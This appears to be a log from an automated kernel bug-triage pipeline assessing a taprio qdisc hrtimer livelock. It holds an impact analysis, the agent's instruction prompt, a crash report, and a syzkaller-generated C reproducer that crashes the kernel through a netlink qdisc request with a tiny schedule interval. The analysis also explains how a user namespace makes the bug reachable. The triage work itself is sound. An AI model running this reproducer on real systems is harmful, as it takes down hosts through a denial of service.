| 0/0 |
2026/05/23 14:11 |
flow |
assessment-security |
42m
Results: map[DenialOfService:true Explanation:**Analysis of the Bug**
The bug is a Denial of Service (DoS) vulnerability caused by a CPU livelock /
interrupt storm in the `taprio` qdisc scheduler's high-resolution timer
(`hrtimer`).
**Root Cause:**
When configuring a `taprio` qdisc, users can specify a schedule with a list of
entries, each having a specific time `interval`. The kernel attempts to validate
this interval to ensure it is at least large enough to transmit a minimum-sized
Ethernet frame (`ETH_ZLEN`) at the device's link speed (`min_duration`).
However, if the underlying network device reports a very high link speed (e.g.,
a `veth` device which defaults to 10 Gbps), the calculated `min_duration`
becomes extremely small (e.g., 48 nanoseconds). This allows a user to
successfully configure an interval that is very small, such as 1024 ns (1
microsecond), as seen in the reproducer.
When the schedule is active, `taprio` uses a hardirq `hrtimer` to advance the
schedule (`advance_sched`). If the configured `interval` (e.g., 1024 ns) is
smaller than the actual time it takes the CPU to execute the `advance_sched`
callback (which can easily take ~2000 ns due to spinlocks, RCU operations, and
schedule calculations), the timer's expiration time falls behind the current
real time.
The Linux `hrtimer` interrupt handler (`hrtimer_interrupt`) processes expired
timers in a loop (`__hrtimer_run_queues`). Because the callback takes longer to
execute than the interval it advances the timer by, the timer never catches up
to the current time, causing the loop to run continuously. The `hrtimer`
subsystem has a hang detection mechanism that breaks out of the loop, retries,
and eventually forces a delay, but this only causes the backlog of expired
timers to grow exponentially. As a result, the CPU gets trapped in the hardirq
context for seconds or even minutes. This completely starves the CPU, preventing
RCU grace period kthreads from running, which ultimately triggers the observed
`rcu_preempt detected stalls` and crashes the system.
**Security Impact:**
- **Exploitable:** False. This is a pure CPU stall / livelock issue. It does not
corrupt memory, leak data, or provide any primitives for privilege escalation.
- **Denial Of Service:** True. Triggering the bug causes a hard lockup on the
affected CPU, leading to an RCU stall and a kernel panic.
- **Accessible From Unprivileged Processes:** False. Configuring qdiscs via
netlink (`RTM_NEWQDISC`) requires the `CAP_NET_ADMIN` capability in the network
namespace. A strictly unprivileged process without access to user namespaces
cannot trigger this.
- **Accessible From User Namespaces:** True. An unprivileged user can use
`unshare` to create a new user namespace and a new network namespace (gaining
`CAP_NET_ADMIN` over it), create a virtual network device (like `veth` or
`dummy`), and attach the malicious `taprio` qdisc to it to crash the host
system. Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/05/23 14:11 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
uint64_t r[3] = {0xffffffffffffffff, 0x0, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet arguments: [
// domain: const = 0x10 (8 bytes)
// type: socket_type = 0x3 (8 bytes)
// proto: int32 = 0x0 (4 bytes)
// ]
// returns sock_in
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=SOCK_RAW*/3ul, /*proto=*/0);
if (res != -1)
r[0] = res;
// ioctl$sock_SIOCGIFINDEX arguments: [
// fd: sock (resource)
// cmd: const = 0x8933 (4 bytes)
// arg: ptr[out, ifreq_dev_t[devnames, ifindex]] {
// ifreq_dev_t[devnames, ifindex] {
// ifr_ifrn: buffer: {62 6f 6e 64 30 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// elem: ifindex (resource)
// pad = 0x0 (20 bytes)
// }
// }
// ]
memcpy((void*)0x200000000300, "bond0\000\000\000\000\000\000\000\000\000\000\000", 16);
res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x8933, /*arg=*/0x200000000300ul);
if (res != -1)
r[1] = *(uint32_t*)0x200000000310;
// socket$netlink arguments: [
// domain: const = 0x10 (8 bytes)
// type: const = 0x3 (8 bytes)
// proto: netlink_proto = 0x0 (4 bytes)
// ]
// returns sock_netlink
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
if (res != -1)
r[2] = res;
// sendmsg$nl_route_sched arguments: [
// fd: sock_nl_route (resource)
// msg: ptr[in, msghdr_netlink[netlink_msg_route_sched]] {
// msghdr_netlink[netlink_msg_route_sched] {
// addr: nil
// addrlen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// vec: ptr[in, iovec[in, netlink_msg_route_sched]] {
// iovec[in, netlink_msg_route_sched] {
// addr: ptr[in, netlink_msg_route_sched] {
// union netlink_msg_route_sched {
// newqdisc: netlink_msg_t[const[RTM_NEWQDISC, int16], tcmsg[AF_UNSPEC], rtm_tca_policy] {
// len: len = 0xa4 (4 bytes)
// type: const = 0x24 (2 bytes)
// flags: netlink_msg_flags = 0xf0b (2 bytes)
// seq: int32 = 0x70bd2b (4 bytes)
// pid: int32 = 0x0 (4 bytes)
// payload: tcmsg[AF_UNSPEC] {
// family: const = 0x0 (1 bytes)
// tcm__pad1: const = 0x0 (1 bytes)
// tcm__pad2: const = 0x12 (2 bytes)
// ifindex: ifindex (resource)
// tcm_handle: tcm_handle {
// minor: tcm_handle_offsets = 0x0 (2 bytes)
// major: tcm_handle_offsets = 0x0 (2 bytes)
// }
// tcm_parent: tcm_handle {
// minor: tcm_handle_offsets = 0xffff (2 bytes)
// major: tcm_handle_offsets = 0xffff (2 bytes)
// }
// tcm_info: tcm_handle {
// minor: tcm_handle_offsets = 0x2 (2 bytes)
// major: tcm_handle_offsets = 0x0 (2 bytes)
// }
// }
// attrs: array[rtm_tca_policy] {
// union rtm_tca_policy {
// qdisc_kind_options: union qdisc_kind_options {
// q_taprio: tca_kind_options_t["taprio", array[taprio_policy]] {
// TCA_KIND: nlattr_t[const[TCA_KIND, int16], string["taprio"]] {
// nla_len: offsetof = 0xb (2 bytes)
// nla_type: const = 0x1 (2 bytes)
// payload: buffer: {74 61 70 72 69 6f 00} (length 0x7)
// size: buffer: {} (length 0x0)
// pad = 0x0 (1 bytes)
// }
// TCA_OPTIONS: nlattr_t[const[TCA_OPTIONS, int16], array[taprio_policy]] {
// nla_len: offsetof = 0x74 (2 bytes)
// nla_type: const = 0x2 (2 bytes)
// payload: array[taprio_policy] {
// union taprio_policy {
// TCA_TAPRIO_ATTR_PRIOMAP: nlattr_t[const[TCA_TAPRIO_ATTR_PRIOMAP, int16], tc_mqprio_qopt] {
// nla_len: offsetof = 0x56 (2 bytes)
// nla_type: const = 0x1 (2 bytes)
// payload: tc_mqprio_qopt {
// num_tc: int8 = 0x2 (1 bytes)
// prio_tc_map: array[int8] {
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x1 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// }
// hw: int8 = 0x0 (1 bytes)
// count: array[int16] {
// int16 = 0x5 (2 bytes)
// int16 = 0x4 (2 bytes)
// int16 = 0x2 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x8 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x9 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x3 (2 bytes)
// }
// offset: array[int16] {
// int16 = 0x0 (2 bytes)
// int16 = 0x8 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x2 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// }
// }
// size: buffer: {} (length 0x0)
// pad = 0x0 (2 bytes)
// }
// }
// union taprio_policy {
// TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST: nlattr_tt[const[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST, int16:14], 0, 1, array[nlnest[TCA_TAPRIO_SCHED_ENTRY, array[entry_policy$taprio]]]] {
// nla_len: offsetof = 0x10 (2 bytes)
// nla_type: const = 0x2 (1 bytes)
// NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
// NLA_F_NESTED: const = 0x1 (1 bytes)
// payload: array[nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]]] {
// nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]] {
// nla_len: offsetof = 0xc (2 bytes)
// nla_type: const = 0x1 (1 bytes)
// NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
// NLA_F_NESTED: const = 0x1 (1 bytes)
// payload: array[entry_policy$taprio] {
// union entry_policy$taprio {
// TCA_TAPRIO_SCHED_ENTRY_INTERVAL: nlattr_t[const[TCA_TAPRIO_SCHED_ENTRY_INTERVAL, int16], int32] {
// nla_len: offsetof = 0x8 (2 bytes)
// nla_type: const = 0x4 (2 bytes)
// payload: int32 = 0x400 (4 bytes)
// size: buffer: {} (length 0x0)
// }
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// union taprio_policy {
// TCA_TAPRIO_ATTR_SCHED_CLOCKID: nlattr_t[const[TCA_TAPRIO_ATTR_SCHED_CLOCKID, int16], int32] {
// nla_len: offsetof = 0x8 (2 bytes)
// nla_type: const = 0x5 (2 bytes)
// payload: int32 = 0x7 (4 bytes)
// size: buffer: {} (length 0x0)
// }
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// }
// }
// }
// }
// }
// }
// len: len = 0xa4 (8 bytes)
// }
// }
// vlen: const = 0x1 (8 bytes)
// ctrl: const = 0x0 (8 bytes)
// ctrllen: const = 0x0 (8 bytes)
// f: send_flags = 0x20000040 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x2000000007c0 = 0;
*(uint32_t*)0x2000000007c8 = 0;
*(uint64_t*)0x2000000007d0 = 0x200000000780;
*(uint64_t*)0x200000000780 = 0x2000000000c0;
*(uint32_t*)0x2000000000c0 = 0xa4;
*(uint16_t*)0x2000000000c4 = 0x24;
*(uint16_t*)0x2000000000c6 = 0xf0b;
*(uint32_t*)0x2000000000c8 = 0x70bd2b;
*(uint32_t*)0x2000000000cc = 0;
*(uint8_t*)0x2000000000d0 = 0;
*(uint8_t*)0x2000000000d1 = 0;
*(uint16_t*)0x2000000000d2 = 0x12;
*(uint32_t*)0x2000000000d4 = r[1];
*(uint16_t*)0x2000000000d8 = 0;
*(uint16_t*)0x2000000000da = 0;
*(uint16_t*)0x2000000000dc = -1;
*(uint16_t*)0x2000000000de = -1;
*(uint16_t*)0x2000000000e0 = 2;
*(uint16_t*)0x2000000000e2 = 0;
*(uint16_t*)0x2000000000e4 = 0xb;
*(uint16_t*)0x2000000000e6 = 1;
memcpy((void*)0x2000000000e8, "taprio\000", 7);
*(uint16_t*)0x2000000000f0 = 0x74;
*(uint16_t*)0x2000000000f2 = 2;
*(uint16_t*)0x2000000000f4 = 0x56;
*(uint16_t*)0x2000000000f6 = 1;
*(uint8_t*)0x2000000000f8 = 2;
*(uint8_t*)0x2000000000f9 = 0;
*(uint8_t*)0x2000000000fa = 0;
*(uint8_t*)0x2000000000fb = 0;
*(uint8_t*)0x2000000000fc = 0;
*(uint8_t*)0x2000000000fd = 0;
*(uint8_t*)0x2000000000fe = 0;
*(uint8_t*)0x2000000000ff = 0;
*(uint8_t*)0x200000000100 = 0;
*(uint8_t*)0x200000000101 = 0;
*(uint8_t*)0x200000000102 = 0;
*(uint8_t*)0x200000000103 = 1;
*(uint8_t*)0x200000000104 = 0;
*(uint8_t*)0x200000000105 = 0;
*(uint8_t*)0x200000000106 = 0;
*(uint8_t*)0x200000000107 = 0;
*(uint8_t*)0x200000000108 = 0;
*(uint8_t*)0x200000000109 = 0;
*(uint16_t*)0x20000000010a = 5;
*(uint16_t*)0x20000000010c = 4;
*(uint16_t*)0x20000000010e = 2;
*(uint16_t*)0x200000000110 = 0;
*(uint16_t*)0x200000000112 = 8;
*(uint16_t*)0x200000000114 = 0;
*(uint16_t*)0x200000000116 = 9;
*(uint16_t*)0x200000000118 = 0;
*(uint16_t*)0x20000000011a = 0;
*(uint16_t*)0x20000000011c = 0;
*(uint16_t*)0x20000000011e = 0;
*(uint16_t*)0x200000000120 = 0;
*(uint16_t*)0x200000000122 = 0;
*(uint16_t*)0x200000000124 = 0;
*(uint16_t*)0x200000000126 = 0;
*(uint16_t*)0x200000000128 = 3;
*(uint16_t*)0x20000000012a = 0;
*(uint16_t*)0x20000000012c = 8;
*(uint16_t*)0x20000000012e = 0;
*(uint16_t*)0x200000000130 = 0;
*(uint16_t*)0x200000000132 = 2;
*(uint16_t*)0x200000000134 = 0;
*(uint16_t*)0x200000000136 = 0;
*(uint16_t*)0x200000000138 = 0;
*(uint16_t*)0x20000000013a = 0;
*(uint16_t*)0x20000000013c = 0;
*(uint16_t*)0x20000000013e = 0;
*(uint16_t*)0x200000000140 = 0;
*(uint16_t*)0x200000000142 = 0;
*(uint16_t*)0x200000000144 = 0;
*(uint16_t*)0x200000000146 = 0;
*(uint16_t*)0x200000000148 = 0;
*(uint16_t*)0x20000000014c = 0x10;
STORE_BY_BITMASK(uint16_t, , 0x20000000014e, 2, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x20000000014f, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x20000000014f, 1, 7, 1);
*(uint16_t*)0x200000000150 = 0xc;
STORE_BY_BITMASK(uint16_t, , 0x200000000152, 1, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000153, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000153, 1, 7, 1);
*(uint16_t*)0x200000000154 = 8;
*(uint16_t*)0x200000000156 = 4;
*(uint32_t*)0x200000000158 = 0x400;
*(uint16_t*)0x20000000015c = 8;
*(uint16_t*)0x20000000015e = 5;
*(uint32_t*)0x200000000160 = 7;
*(uint64_t*)0x200000000788 = 0xa4;
*(uint64_t*)0x2000000007d8 = 1;
*(uint64_t*)0x2000000007e0 = 0;
*(uint64_t*)0x2000000007e8 = 0;
*(uint32_t*)0x2000000007f0 = 0x20000040;
syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x2000000007c0ul, /*f=*/0ul);
return 0;
}
]
|
| 2/1 |
2026/05/23 14:11 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/2c9e35ad02c20fdcf2853d9326096e90cb155798]
|
| 3/1 |
2026/05/23 14:12 |
action |
kernel-builder |
18m
Results: map[KernelObj:/app/workdir/cache/build/34833df4aaa6f485f1fbaa8e67226292efd14aab]
|
| 4/1 |
2026/05/23 14:30 |
action |
codesearch-prepare |
13m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/05/23 14:44 |
agent |
expert |
9m
Model:
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Instruction:
You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by greeping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption or elevated privileges.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completly wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control tranfers, that's also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitabability depends on how exactly the uninit value
is used in the code, and what it affects.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidetial Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
rcu: 1-...!: (1 GPs behind) idle=b674/1/0x4000000000000000 softirq=16193/16205 fqs=2
rcu: (detected by 0, t=10502 jiffies, g=13757, q=3905 ncpus=2)
Sending NMI from CPU 0 to CPUs 1:
NMI backtrace for cpu 1
CPU: 1 UID: 0 PID: 6128 Comm: syz-executor Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x3a/0xb0 kernel/rcu/tree.c:751
Code: e8 bb 0d b3 09 89 c3 83 f8 08 73 65 49 bf 00 00 00 00 00 fc ff df 4c 8d 34 dd d0 0d 9b 8d 4c 89 f0 48 c1 e8 03 42 80 3c 38 00 <74> 08 4c 89 f7 e8 8c 1d 80 00 48 c7 c3 d8 56 81 92 49 03 1e 48 89
RSP: 0018:ffffc90000a08c70 EFLAGS: 00000046
RAX: 1ffffffff1b361bb RBX: 0000000000000001 RCX: 0000000000010002
RDX: 0000000000000000 RSI: ffffffff8bc086c0 RDI: ffffffff8bc08680
RBP: ffffffff81ae6da2 R08: 0000000000000001 R09: 0000000000000000
R10: dffffc0000000000 R11: fffffbfff1f045cf R12: 0000000000000000
R13: ffff8880b8728258 R14: ffffffff8d9b0dd8 R15: dffffc0000000000
FS: 0000000000000000(0000) GS:ffff888125f1e000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f9426807ff8 CR3: 0000000077a18000 CR4: 00000000003526f0
Call Trace:
<IRQ>
trace_lock_acquire include/trace/events/lock.h:24 [inline]
lock_acquire+0x5f/0x340 kernel/locking/lockdep.c:5831
__raw_spin_lock_irq include/linux/spinlock_api_smp.h:119 [inline]
_raw_spin_lock_irq+0x3d/0x50 kernel/locking/spinlock.c:170
__run_hrtimer kernel/time/hrtimer.c:1781 [inline]
__hrtimer_run_queues+0x5e2/0xc30 kernel/time/hrtimer.c:1841
hrtimer_interrupt+0x45b/0xaa0 kernel/time/hrtimer.c:1903
local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1045 [inline]
__sysvec_apic_timer_interrupt+0x102/0x3e0 arch/x86/kernel/apic/apic.c:1062
instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
sysvec_apic_timer_interrupt+0xa1/0xc0 arch/x86/kernel/apic/apic.c:1056
</IRQ>
<TASK>
asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:deref_stack_reg+0x3/0x230 arch/x86/kernel/unwind_orc.c:418
Code: e8 12 f8 b2 00 48 8b 4c 24 18 e9 f2 fe ff ff 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 55 41 57 <41> 56 41 55 41 54 53 48 83 ec 20 48 89 54 24 18 49 89 f0 49 89 ff
RSP: 0018:ffffc90002f16e00 EFLAGS: 00000283
RAX: fffffffffffffff0 RBX: ffffffff9025420e RCX: 0000000000000000
RDX: ffffc90002f16f28 RSI: ffffc90002f17ad0 RDI: ffffc90002f16ee8
RBP: dffffc0000000000 R08: ffffc90002f16f47 R09: 0000000000000000
R10: ffffc90002f16f38 R11: fffff520005e2de9 R12: ffffc90002f16f38
R13: 1ffff920005e2ddf R14: ffffc90002f16ee8 R15: 1ffffffff204a842
unwind_next_frame+0x18cc/0x23d0 arch/x86/kernel/unwind_orc.c:-1
arch_stack_walk+0x11c/0x150 arch/x86/kernel/stacktrace.c:25
stack_trace_save+0x9c/0xe0 kernel/stacktrace.c:122
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
unpoison_slab_object mm/kasan/common.c:340 [inline]
__kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366
kasan_slab_alloc include/linux/kasan.h:253 [inline]
slab_post_alloc_hook mm/slub.c:4953 [inline]
slab_alloc_node mm/slub.c:5263 [inline]
kmem_cache_alloc_noprof+0x37d/0x710 mm/slub.c:5270
mt_alloc_one lib/maple_tree.c:174 [inline]
mas_alloc_nodes+0x291/0x350 lib/maple_tree.c:1110
mas_preallocate+0x2e0/0x670 lib/maple_tree.c:5194
vma_iter_prealloc mm/vma.h:502 [inline]
vma_shrink+0x18d/0x510 mm/vma.c:1200
relocate_vma_down+0x4d4/0x4f0 mm/vma_exec.c:91
setup_arg_pages+0x5cf/0xa90 fs/exec.c:690
load_elf_binary+0xba4/0x2740 fs/binfmt_elf.c:1028
search_binary_handler fs/exec.c:1669 [inline]
exec_binprm fs/exec.c:1701 [inline]
bprm_execve+0x92e/0x1400 fs/exec.c:1753
do_execveat_common+0x510/0x6a0 fs/exec.c:1859
do_execve fs/exec.c:1933 [inline]
__do_sys_execve fs/exec.c:2009 [inline]
__se_sys_execve fs/exec.c:2004 [inline]
__x64_sys_execve+0x94/0xb0 fs/exec.c:2004
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0xec/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f94259c2e17
Code: Unable to access opcode bytes at 0x7f94259c2ded.
RSP: 002b:00007f9426807df8 EFLAGS: 00000206 ORIG_RAX: 000000000000003b
RAX: ffffffffffffffda RBX: 00007ffd48e33ef5 RCX: 00007f94259c2e17
RDX: 00007ffd48e32ba0 RSI: 00007ffd48e32de0 RDI: 00007ffd48e33ef5
RBP: 00007f9426807e70 R08: 00007f9426807f20 R09: 0000000000000000
R10: 0000000000000008 R11: 0000000000000206 R12: 00007ffd48e32de0
R13: 00007ffd48e32ba0 R14: 0000000000000000 R15: 0000000000000000
</TASK>
rcu: rcu_preempt kthread starved for 10495 jiffies! g13757 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x0 ->cpu=0
rcu: Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior.
rcu: RCU grace-period kthread stack dump:
task:rcu_preempt state:R running task stack:27480 pid:16 tgid:16 ppid:2 task_flags:0x208040 flags:0x00080000
Call Trace:
<TASK>
context_switch kernel/sched/core.c:5256 [inline]
__schedule+0x149b/0x4fd0 kernel/sched/core.c:6863
__schedule_loop kernel/sched/core.c:6945 [inline]
schedule+0x165/0x360 kernel/sched/core.c:6960
schedule_timeout+0x12b/0x270 kernel/time/sleep_timeout.c:99
rcu_gp_fqs_loop+0x301/0x1540 kernel/rcu/tree.c:2083
rcu_gp_kthread+0x99/0x390 kernel/rcu/tree.c:2285
kthread+0x711/0x8a0 kernel/kthread.c:463
ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246
</TASK>
rcu: Stack dump where RCU GP kthread last ran:
CPU: 0 UID: 0 PID: 5203 Comm: udevd Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025
RIP: 0010:csd_lock_wait kernel/smp.c:342 [inline]
RIP: 0010:smp_call_function_many_cond+0xcc5/0x1260 kernel/smp.c:877
Code: 45 8b 2c 24 44 89 ee 83 e6 01 31 ff e8 d4 97 0b 00 41 83 e5 01 49 bd 00 00 00 00 00 fc ff df 75 07 e8 7f 93 0b 00 eb 38 f3 90 <42> 0f b6 04 2b 84 c0 75 11 41 f7 04 24 01 00 00 00 74 1e e8 63 93
RSP: 0000:ffffc90003057820 EFLAGS: 00000293
RAX: ffffffff81b5654d RBX: 1ffff110170e8129 RCX: ffff88807d153d00
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
RBP: ffffc90003057950 R08: ffffffff8f822e77 R09: 1ffffffff1f045ce
R10: dffffc0000000000 R11: fffffbfff1f045cf R12: ffff8880b8740948
R13: dffffc0000000000 R14: ffff8880b863bb00 R15: 0000000000000001
FS: 00007f6e0f393880(0000) GS:ffff888125e1e000(0000) knlGS:0000000000000000
